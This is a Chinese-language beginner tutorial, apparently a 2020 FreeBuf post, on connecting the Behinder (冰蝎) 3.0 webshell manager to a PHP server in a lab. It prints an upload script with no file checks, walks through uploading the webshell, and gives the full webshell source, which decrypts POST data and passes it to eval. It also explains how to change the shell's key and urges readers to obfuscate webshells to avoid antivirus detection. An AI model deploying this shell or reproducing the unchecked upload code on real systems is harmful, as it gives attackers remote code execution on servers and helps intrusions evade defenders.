前言
今天刚下载了最新版的冰蝎3.0 beta2,但是一直连不上,后来前辈的讲解才知道原因,这里做一个记录,希望对你有所帮助。
这篇文章比较基础,主要面向新手,技术含量较低主要为操作流程。
首先看看下载后有什么文件:
server文件中放的是各种语言的webshell,如下图:
环境配置
这里我使用的php的webshell做的实验。首先我开了一个windows的虚拟机,下载了phpstudy,开启了apache,然后写一个文件上传的php代码,这里采用的是菜鸟教程上自带的php文件上传代码,具体代码如下:
<!-- index.html代码 --> <html> <head> <meta charset="utf-8"> <title>Upload</title> </head> <body> <!-- 下面表单表示将接收到底文件传给upload_file.php去处理 --> <form action="upload_file.php" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html>
// upload_file.php <?php if ($_FILES["file"]["error"] > 0) { echo "错误:" . $_FILES["file"]["error"] . "<br>"; } else { echo "上传文件名: " . $_FILES["file"]["name"] . "<br>"; echo "文件类型: " . $_FILES["file"]["type"] . "<br>"; echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>"; echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"]; } move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]); echo "文件存储在: " . "upload/" . $_FILES["file"]["name"] //文件会被上传到当前目录下的upload文件夹中 ?>
将上面的代码放在:
只要下载了phpstudy应该就会有这个文件夹,我使用的是默认目录安装的,upload_file.php代码写到上传的文件需要被放在当前目录下的upload文件夹中,因此我们需要自己创建一个upload文件夹,如上图所示。
连接webshell
上传页面如上图所示,点击chose file选中文件,点击提交上传我们的php的webshell即可,上传成功这会出现下图。
这时候双击打开我们的冰蝎:
如果无法打开可能是java版本不对,这里我给出自己的java版本作为参考。
打开后如下图所示:
在空白处右键然后点击新增:
输入url跟密码然后点击保存
这里面说一下为什么默认密码为什么是rebeyond还有怎样更改默认密码:
先看看冰蝎的phpshell的源代码:
<?php @error_reporting(0); session_start(); if ($_SERVER['REQUEST_METHOD'] === 'POST') { $key="e45e329feb5d925b"; //这一行为密码的md5的前16位 $_SESSION['k']=$key; $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __invoke($p) {eval($p."");}} @call_user_func(new C(),$params); } ?>
跟我在代码中标注的一样
$key=“e45e329feb5d925b”; //这一行为密码的md5的前16位
我们去cmd5这个网站中去进行加解密操作,输入rebeyond:
发现rebeyond的32位md5的前16为刚好就是代码中的key的值(是第一行md5(rebeyond,32))。现在大家应该知道怎么改密码了吧,只要用你想用的密码的md5的前16位代替代码中key的值,然后你就可以使用自己的密码登陆shell了。例如你想使用admin当密码,你求出的admin的md5如下:
这时候你只需要将代码中的 “ $key=“e45e329feb5d925b”; “ 中key的值改为21232f297a57a5a7即可使用admin为密码登陆,说到这里就已经很详细了,点到为止。
冰蝎页面
连接成功后页面如下:
大家可以根据自己的需要去使用,不过建议大家有机会研究一下webshell的混淆与免杀,否则很容易被查杀。
免责声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。禁止任何人转载到其他站点,禁止用于任何非法用途。如有任何人凭此做何非法事情,均于笔者无关,特此声明。
来源:freebuf.com 2020-09-27 20:46:51 by: minggege
请登录后发表评论
注册